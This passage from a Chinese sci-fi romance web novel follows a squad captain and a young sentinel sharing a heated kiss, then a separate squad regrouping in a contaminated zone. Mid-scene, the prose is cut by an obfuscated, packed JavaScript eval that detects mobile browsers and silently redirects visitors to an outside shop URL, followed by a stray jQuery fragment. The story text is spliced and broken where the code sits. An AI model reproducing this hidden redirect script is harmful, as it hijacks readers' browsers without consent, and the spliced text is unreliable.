图洛宁并不讨厌阿狸的表情。
他甚至想要、想要......
在他回过神来的时候,他的鼻尖已经和阿狸挺翘的鼻尖挨在了一起。
他手捧着女孩的脸,仿佛是对待最亲密的恋人那样,蹭着她的鼻子。
青蕤花的味道铺满了他的鼻腔、他的脸颊,从阿狸的呼吸中渡过来。
就此沉溺.......
不行,不能失控!
图洛宁咬紧后槽牙,强迫自己从这样香靡的味道中抽离。
他猛地向后,远离了那张潮红的脸蛋,大口呼吸着。
然而没等他完全挺直腰背,一只手缠上了他的后颈,将他的脑袋再次扯下来。
池听意隔着面罩吻住了他。
曾经的作战中,图洛宁试过将威力极大的激光炸弹从污染物的腔道扔到它们的身体里。
然后看着它们四分五裂。
“轰”的一声,那颗激光炸弹在他的脑海中炸开了。
他没有四分五裂,但是四肢仿佛有各自的想法,不再听从他的指挥了。
搂着阿狸的那只是机械臂,冷硬的金属手掌蓦地箍住了她的腰,攥疼了,她唇角溢出一声轻哼。
他的动作顿住,机械臂松了一些。
另一只手捧着她的脸,稍微用了点力,嘴唇退开。
面罩冷硬的触感瞬间消失。
他眸色幽深,眼底藏着极具侵略性的暗芒,沉哑着嗓子问她:“阿狸,你知道我是谁吗?”
池听意迷蒙中睁大眼睛,乍一离开让她舒服的东西,她感觉很不爽。
明明已经碰到了,他推开自己干什么。
脑袋依旧烧得滚烫,眼前的人影还是模糊的,但她难道会认错不成?
女孩不耐烦地嘟囔着:“曜月小队的队长啊,还能是谁?你亲不亲......”
默默屏住呼吸的图洛宁松了一口气。
她知道他是谁。
在半空中努力按照主人吩咐干活的赛尔侧过头,哀怨地看过来。
【为什么不继续亲了?】
图洛宁:【........忙你的去。】
【你那该死的面罩能不能摘下来,太碍事了,不会亲换我去。】
图洛宁:【再多嘴就别出来了。】
【哦。】
【头转回去。】
【哦.....】
图洛宁低头,凑近看向她的眼睛。
他的呼吸也变得愈发沉重。
他习惯性在脑中翻涌无数念头,也想过要不要再吞几颗抑制片,但是刚刚眼睁睁看着新人哨兵吞下三片之后变成这个样子,他是万万不敢多吃了。
既然难以压制,那就顺从她的意思吧。
既然濒临失控,那就不用再控制了。
而且,他并不排斥和阿狸亲近。
甚至还想要继续。
他是曜月小队的队长,他不会欺负了人就不管的。
等出去之后,再好好补偿她。
他习惯性将所有都预设好,然后再执行。
有了决定,那就不用再压抑。
图洛宁的眉骨高,眉眼深邃,浓密的眉毛下压,紧紧盯着女孩的眼睛。可这次没有压迫感,只有掠夺的意味。
他抬手,缓缓扯掉了自己的面罩。
池听意第一次这么近距离面对面看清这位队长的俊脸。
就算满脑子已经被疯狂的晴热拉扯占据,她也明白自己对面是谁,知道自己在做什么的。
这张脸远比网络上看到的要更加震撼,和美味。
他鼻梁高挺,下颌锋利,线条凌冽,薄唇轻抿着,唇珠却略饱满。
他被池听意影响得嘴唇红润。
看起来非常美味。
配合那双偏圆的眼睛,眼前的战争机器奇怪地融合了成熟和少年感。
这位曾经拒人于千里之外的队长此时带着引诱的性质,暗哑着开口:“阿狸,叫我的名字。”
叫我的名字,就满足你的一切。
池听意好像明白了即将到来的是什么,艰难地吞咽了一下。
“图洛宁。”
话音刚落,男人宽阔的肩背如同巍峨的雄峰,倾身压下。
图洛宁再一次贴上了两片柔软的宛如云朵的嘴唇,这一次没有任何阻碍。
他不知道云朵是什么触感,但肯定没有女孩的嘴唇柔软。
也不会有这样灼热的温度。
粗粝的手指抚摸她的脸,一点点从浅粉色的头发,到咖色的眉,在她饱满的耳垂上停留了许久,爱不释手地揉了揉。
再到脆弱的脖颈,感受着她脉搏跳动的频率。
她的头发顺滑,皮肤细腻,脖颈紧绷的经络很像青蕤花的枝条。
很快,图洛宁就不满足于只是贴着。
他含住了女孩的上嘴唇,轻嘬着,晗口允着。
池听意一只手想要抓着他的手臂,可是他手臂肌肉绷紧,蟒筋虬结,摸上去不舒服,她转而去攥着他心口处的衣服,喉咙溢出
一声满足的哼声。
她的口耑熄给了图洛宁鼓励,他吻得更加用力。
图洛宁从来没有亲吻过,连拥抱牵手都没有过,偶然看到一些不堪入目的画面,大多都是直接到最后一步。
哨兵如此,普通人也是。
热烈的亲吻代表着充沛的感情,很多人不需要感情,只需要发泄。
就算看到了他也嫌恶心避开。
口水有什么好吃的?
池听意知道亲吻不止是这样,她伸舍,忝了下他的嘴唇。
图洛宁怔愣了片刻,他睁开眼睛,看了她一眼。
眸中仿佛蕴着狂风暴雨。
那座巍峨雄峰再一次凶猛地压了下来。
曜月队长是位好老师,也是位好学生,只教一次,剩下的都无师自通。
他掐着她的下巴,迫使她张开嘴巴。
就这么闯了进来。
她的嘴唇好热,没想到他的嘴唇更热,两个人都感觉快要融化了。
图洛宁的舍尖扫过内壁,刮着上颚,不放过里面每一寸。
两人纠缠在一起,能感受到对方快速跳动的心脏。
图洛宁的左手将女孩单臂抱起,让她坐在自己半跪着的腿上。
严丝合缝贴着。
这样一来,池听意的位置稍高一些,她双手搭在队长的肩上,低头看着他。
仰头的角度,像是一只等待索吻的大型犬。
犬类和狼类本来就很像。
她的手拂过图洛宁好看的眉眼,在他左侧眉毛上面的伤疤停留了片刻,再次低头亲吻了下去。
那只机械手臂按在女孩的背上,另一只手扶着她的腰,揉搓间衣服都弄皱。
图洛宁撬开池听意的牙关,吸口允着,抵到最里面,攫取着她的新鲜空气,让她口耑得更重。
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17709331|206491||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
他喜欢听这个声音,想到她是因为自己发出这样好听的口耑声,就感觉体内火焰燃烧得厉害,烧得血液沸腾。
他没什么技巧,只是凭着本能,一而再地夺取着女孩的呼吸。
池听意的舍根发麻,她嘴巴大张着,发出呜呜咽咽的声音,津夜从唇边流下,她连忙拍打男人的肩膀,想要把他推开。
图洛宁没有放开她,只是顺着唇角,一点点口允吸,慢慢向下,忝到下巴,将她的味道全都吞掉。
是甜的。
他只是厌恶别人的口水,不厌恶她的。
图洛宁来到女孩耳边,刮过薄薄的耳廓,含住饱满的耳垂,嘬饮一般将耳垂忝得通红。
雪白的脖颈有点痒。
有红色的印子。
池听意被弄得很痒,肩膀瑟缩了一下,无意识想要躲,被男人扣得更紧。
机械手臂箍起人来,没轻没重的。
好一阵亲吻之后,池听意感觉昏沉的大脑清醒了一些,不至于完全被小头控制大头了。
但是看到曜月队长闭着眼睛沉溺的模样,她感觉好像是自己控制了他的大头。
【那个机械手臂,啧啧......冰冰凉凉的,先用滚烫的手,然后再换机械手指,爽死!】
脑中不合时宜响起蒋梨的声音,池听意吞咽了一下,喉头有点干。
s死我?
看这个趋势好像是会s死我.......
——
谭秋数了数剩下的队友,包括她在内,还有五个人。
刚刚一共有四名队友在混乱中被那行踪诡谲的细线捆走。
她不清楚那个细线究竟是什么东西,但是看队长的神色,应该是与此行的目标有关。
那四名队友多半是凶多吉少了。
该死的污染物,先是扰乱他们神智,然后再趁乱偷袭,这样有战略和头脑的污染物她也是很少见。
不知道队长那边怎么样。
“谭姐,我们去找角哥他们吧,可能早点去他们还有得救!”
“是啊,我们怎么能就这么走了呢?”
“.....”
谭秋攥紧武器,手背青筋暴突。
她强忍悲痛,压抑着即将失控的冲动暴怒:“队长还没出来,我们不能轻举妄动,现在先找到出口的位置,休整之后等待队长。”
“可是......”
“没有可是!队长不在,现在一切听我的指挥,你们的精神全都受到影响了,这里不能久留。我们要先保全自己,然后才能有机会救他们!”
谭秋打断队友的话,不给他们再次开口的机会,指挥着继续前进。
可是刚刚因为跟那群人争执之后换了方向,导致他们来到一条陌生的路,只能一边走一边探路。
“谁!”
走着走着,前方突然出现窸窸窣窣的声音,紧接着手电照过去,看到一个瘦削的人影。
谭秋还以为是污染物,险些就发动攻击了。
“是我!是我.....救命啊,对不起,我不该跟你们吵的,救救我、救救我吧.......”
听声音,是那个叫阿潘的干瘪男人。
他还是像之前那样,捂着脸嘤嘤哭着。
真是个没用的哨兵。
谭秋几人松了一口气,但是武器仍然没有放下。
“怎么就你一个人?刚刚和你在一起的那些人呢?”